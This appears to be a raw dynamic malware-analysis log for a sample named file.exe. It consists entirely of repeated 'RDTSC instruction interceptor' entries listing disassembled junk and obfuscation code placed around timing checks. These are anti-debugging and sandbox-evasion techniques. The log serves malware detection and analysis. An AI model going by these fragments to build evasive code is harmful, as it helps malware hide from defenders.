Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55401 second address: D55428 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5DA4F03EAFh 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57C58 second address: D57C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F5DA5418056h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57C64 second address: D57C6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57C6A second address: D57C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BA5C second address: D5BAA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA6h 0x00000007 pushad 0x00000008 jmp 00007F5DA4F03EA0h 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F5DA4F03E9Ch 0x00000020 push eax 0x00000021 pop eax 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BAA1 second address: D5BABC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418067h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BBE5 second address: D5BBEF instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA4F03E9Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D602DE second address: D602E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D602E3 second address: D602EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D602EE second address: D602F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60457 second address: D60461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F5DA4F03E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60461 second address: D60465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D605D0 second address: D605D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D605D4 second address: D605E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA5418056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D605E0 second address: D605F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4F03E9Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D605F4 second address: D605FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6073B second address: D6075C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4F03EA6h 0x00000008 je 00007F5DA4F03E96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6075C second address: D60782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F5DA5418058h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5DA5418065h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60782 second address: D6079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4F03EA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C315 second address: D0C319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C319 second address: D0C3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F5DA4F03E98h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007F5DA4F03EA9h 0x00000029 mov ebx, dword ptr [ebp+1248043Fh] 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F5DA4F03E98h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 add eax, ebx 0x0000004b clc 0x0000004c nop 0x0000004d push eax 0x0000004e push edx 0x0000004f ja 00007F5DA4F03EA8h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0C3A5 second address: D0C406 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5DA5418061h 0x00000008 jmp 00007F5DA541805Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F5DA541805Ch 0x00000015 nop 0x00000016 mov dword ptr [ebp+122D25E8h], ebx 0x0000001c push 00000004h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007F5DA5418058h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 movsx ecx, bx 0x0000003b push eax 0x0000003c push edi 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5DA541805Ch 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D61738 second address: D6173E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6173E second address: D61781 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5DA5418056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jne 00007F5DA5418069h 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007F5DA5418061h 0x0000001a jmp 00007F5DA5418069h 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64220 second address: D64224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64224 second address: D64228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64228 second address: D64242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64242 second address: D64247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64247 second address: D64280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03E9Eh 0x00000009 jnc 00007F5DA4F03E96h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 je 00007F5DA4F03EC0h 0x00000018 push esi 0x00000019 jmp 00007F5DA4F03EA5h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D643D4 second address: D643DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D643DF second address: D643E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B92D second address: D6B933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69C48 second address: D69C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A4A6 second address: D6A4AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A77E second address: D6A797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5DA4F03E96h 0x0000000a jnl 00007F5DA4F03E96h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F5DA4F03E96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A797 second address: D6A7F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418069h 0x00000007 jmp 00007F5DA5418066h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jbe 00007F5DA5418064h 0x00000014 jmp 00007F5DA541805Ch 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F5DA5418061h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A7F4 second address: D6A7F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A7F8 second address: D6A810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA5418062h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A810 second address: D6A81A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5DA4F03E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B069 second address: D6B088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F5DA5418056h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d jmp 00007F5DA5418062h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B088 second address: D6B0AC instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5DA4F03EAFh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B66D second address: D6B67F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA541805Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B67F second address: D6B683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7222F second address: D72235 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72235 second address: D72242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75224 second address: D7525C instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA5418056h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5DA5418063h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007F5DA5418058h 0x0000001a jmp 00007F5DA541805Eh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7525C second address: D75276 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E509 second address: D7E53B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F5DA5418065h 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F5DA5418065h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E7E2 second address: D7E7EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F5DA4F03E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E7EE second address: D7E7F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E7F4 second address: D7E7FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E934 second address: D7E95D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA541806Dh 0x00000008 jmp 00007F5DA5418067h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007F5DA5418056h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E95D second address: D7E961 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7ED2F second address: D7ED33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7ED33 second address: D7ED81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jns 00007F5DA4F03E9Eh 0x0000000e jmp 00007F5DA4F03EA5h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c js 00007F5DA4F03EAAh 0x00000022 jmp 00007F5DA4F03EA4h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EEC0 second address: D7EEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EEC4 second address: D7EED4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5DA4F03E96h 0x00000008 jl 00007F5DA4F03E96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F9AE second address: D7F9BD instructions: 0x00000000 rdtsc 0x00000002 js 00007F5DA5418056h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D800A4 second address: D800B6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5DA4F03E96h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D800B6 second address: D800C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5DA541805Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DF76 second address: D7DF8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5DA4F03E9Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DF8D second address: D7DF91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85B4D second address: D85B56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85B56 second address: D85B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85B5E second address: D85B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03E9Ch 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85B72 second address: D85B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA541805Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5994 second address: CD5999 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5999 second address: CD59A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD59A2 second address: CD59B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4F03EA2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8573B second address: D8573F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8573F second address: D85764 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5DA4F03E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F5DA4F03EABh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9106E second address: D9108A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F5DA5418065h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D949ED second address: D949F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D949F5 second address: D949F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B345 second address: D9B363 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5DA4F03EA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B363 second address: D9B371 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F5DA5418056h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B371 second address: D9B375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DE91 second address: D9DE9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F5DA5418056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DE9B second address: D9DE9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9DE9F second address: D9DEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F5DA5418056h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3AC2 second address: DA3AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3AC7 second address: DA3AE1 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA5418058h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F5DA5418064h 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007F5DA5418056h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA519E second address: DA51AE instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5DA4F03E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA51AE second address: DA51B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5DA5418056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA51B8 second address: DA51D7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F5DA4F03EA9h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA51D7 second address: DA51F6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F5DA5418063h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA51F6 second address: DA51FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA9B50 second address: DA9B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5DA5418056h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAB0B8 second address: DAB0BE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAE4E8 second address: DAE4ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3FE6 second address: DB3FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB3FEA second address: DB400F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5DA5418056h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5DA5418063h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB400F second address: DB4013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4013 second address: DB402F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418068h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB41E7 second address: DB41ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB41ED second address: DB4201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418060h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB4629 second address: DB4647 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5DA4F03E9Ch 0x00000008 push esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F5DA4F03E96h 0x00000018 rdtsc
